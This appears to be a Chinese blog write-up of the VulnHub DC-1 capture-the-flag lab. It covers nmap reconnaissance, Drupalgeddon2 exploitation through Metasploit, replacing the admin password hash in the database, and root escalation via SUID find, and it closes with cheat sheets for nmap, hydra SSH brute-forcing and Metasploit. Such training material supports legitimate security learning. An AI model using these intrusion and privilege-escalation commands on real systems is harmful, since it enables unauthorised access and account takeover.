1.vulnhub渗透测试综合靶场DC-1
1. vulnhub渗透测试综合靶场DC-1
var code = “32051c23-c464-42eb-a807-10baf5033b72”
环境搭建
*靶机下载地址*
https://download.vulnhub.com/dc/DC-1.zip
https://download.vulnhub.com/dc/DC-2.zip
https://download.vulnhub.com/dc/archive/DC-3.zip
https://download.vulnhub.com/dc/DC-4.zip
https://download.vulnhub.com/dc/DC-5.zip
https://download.vulnhub.com/dc/DC-6.zip
https://download.vulnhub.com/dc/DC-7.zip
https://download.vulnhub.com/dc/DC-8.zip
https://download.vulnhub.com/dc/DC-9.zip
使用虚拟机打开DC-1.ova文件并启动靶机环境

信息收集
1.*寻找靶机地址*
使用nmap工具进行扫描,由于192.168.200.145为我本机kali地址,所以确认靶机地址为192.168.200.144。

2.*探测端口与服务*
可以看到开放的有22(ssh)、80(http web服务)、111(RPC守护进程)、47914端口

3.*成功访问靶机*

渗透测试
1.*确认服务器框架*
利用浏览器Wappalyzer插件,可以看出为drupal框架,利用kali机器进行渗透

2.*启动Metersploit**服务*
“search drupal”搜索,MSF存在drupal模块。

3.*利用模块*
使用exploit/unix/webapp/drupal_drupalgeddon2模块,设置靶机地址,run运行,拿到shell权限,

4.*flag1.txt*
在/var/www目录发现

5.*python反弹交互式shell*
python -c "import pty;pty.spawn('/bin/bash')"

6.*发现flag4.txt文件*
在/home/flag目录下

7.*默认配置文件*
在浏览器搜索Drupal的默认配置文件

*用find命令搜索settings.php,找到路径为/var/www/sites/default/settings.php*

*查看文件发现默认数据库名称和账号密码*

*登录数据库*

*发现admin信息*
查看数据库mysql> show databases;
使用数据库mysql> use drupaldb
查看表mysql> show tables;
查看users信息:mysql> select * from users;

*修改默认密码*
进入到/var/www站点路径下执行
php scripts/password-hash.sh admin

*复制密码和hash值*
password: admin
hash: $S$DL/UPQcYqcjsFT5wOiCNNxOrii78Gp1sQziR4XbOnYvyEdFo0hMA
*进入数据库中把密码字段进行替换*
进入mysql,输入密码,切换到drupaldb数据库
*将pass字段进行替换**为hash值*
使用数据库:use durpaldb;
update users set pass="$S$DL/UPQcYqcjsFT5wOiCNNxOrii78Gp1sQziR4XbOnYvyEdFo0hMA" where name="admin";

*访问站点192.168.200.144*
输入账号密码admin/admin,成功登录


*点击dashboard,发现了flag3*


*使用命令查看 suid 权限的可执行二进制程序*
find / -perm -4000 2>/dev/null

*使用命令测试,发现为root权限*
touch zwh
ls
find / -name zwh -exec "whoami" \;

*切换语句进入shell**,**查看cat thefinalflag.txt文件*
find / -name zwh -exec "/bin/sh" \;

在/etc/passwd文件发现flag4

本次渗透测试学习收获
*nmap(主机探测、端口扫描、版本检测)*
nmap -sP 192.168.200.0/24 //使用 ping 扫描探测目标主机是否在线
nmap -sS 192.168.200.0/24 //SYN扫描,使用最频繁,安全,快
nmap -Pn 192.168.200.0/24 //目标机禁用ping,绕过ping扫描
nmap -sU 192.168.200.0/24 //UDP扫描,慢,可得到有价值的服务器程序
nmap -sI 僵尸ip 目标ip //使用僵尸机对目标机发送数据包
nmap -sT 192.168.200.0/24 //进行全面的TCP连接扫描
nmap 192.168.96.4 -p <portnumber> //对指定端口扫描
nmap 192.168.200.0/24 //对整个网段的主机进行扫描
nmap -sV 192.168.200.0/24 //对端口上的服务程序版本进行扫描
nmap.exe -A -p1-65535 192.168.200.146 //操作系统检测、脚本扫描、服务版本检测
*whatweb(分析网站、网站指纹识别工具)*
# 常规扫描
whatweb www.baidu.com
# 批量扫描
whatweb -i /root/target.txt
# 详细回显扫描
whatweb -v www.baidu.com
# 快速本地扫描(扫描内网主机)
whatweb --no-errors -t 255 内网网段
# 将扫描结果导出至文件内
whatweb www.baidu.com --log-xml=baidu.xml
*Metasploit**(漏洞利用模块)*
搜索CMS漏洞 //search cms名
use漏洞模块名 //使用模块
show options //显示模块参数(一般只需要设置攻击目标IP地址)
set 模块参数名 参数值 //设置模块参数
run(或exploit) //开始攻击
Info //显示当前模块的完整详细信息
show options //显示当前模块需要的参数
show payloads //显示当前模块支持的载荷
show targets //显示能被漏洞利用的主机类型
back //回退到上一个状态
search //搜索相关的渗透测试模块
*获取交互shell(需对方主机安装有python)*
python -c 'import pty;pty.spawn("/bin/bash")'
*Linux相关命令*
pwd:显示当前工作目录的完整路径
cat:连接文件并打印到标准输出
find:在文件系统中搜索符合条件的文件或目录
whoami:显示当前用户信息
su:切换到另一个用户身份
id:用户身份标识信息
ip a:网络接口信息
/etc/passwd
存储有用户的基本信息,如用户名、用户ID等,所有用户均可访问
/etc/shadow
存储有用户的密码等信息,需要root用户才能访问
*hydra(ssh爆破)*
参数:
-l login 小写,指定用户名进行破解
-L file 大写,指定用户的用户名字典
-p pass 小写,用于指定密码破解,很少使用,一般采用密码字典。
-P file 大写,用于指定密码字典。
-e ns 额外的选项,n:空密码试探,s:使用指定账户和密码试探
-M file 指定目标ip列表文件,批量破解。
-o file 指定结果输出文件
-f 找到第一对登录名或者密码的时候中止破解。
-t tasks 同时运行的线程数,默认是16
-w time 设置最大超时时间,单位
-v / -V 显示详细过程
-R 恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。)
-x 自定义密码。
示例
\# hydra -L user.txt -P password.txt -t 5 -vV -e ns 192.168.200.145 ssh
*Linux系统进行SUID提权*
找到SUID权限的二进制文件,将错误的垃圾信息过滤
find / -perm -4000 2>/dev/null
先ls查看当前目录文件,假设有文件zsh,利用共有suid权限的find搭配exec进行提权
find / -name zsh -exec "/bin/sh" \;

浙公网安备 33010602011771号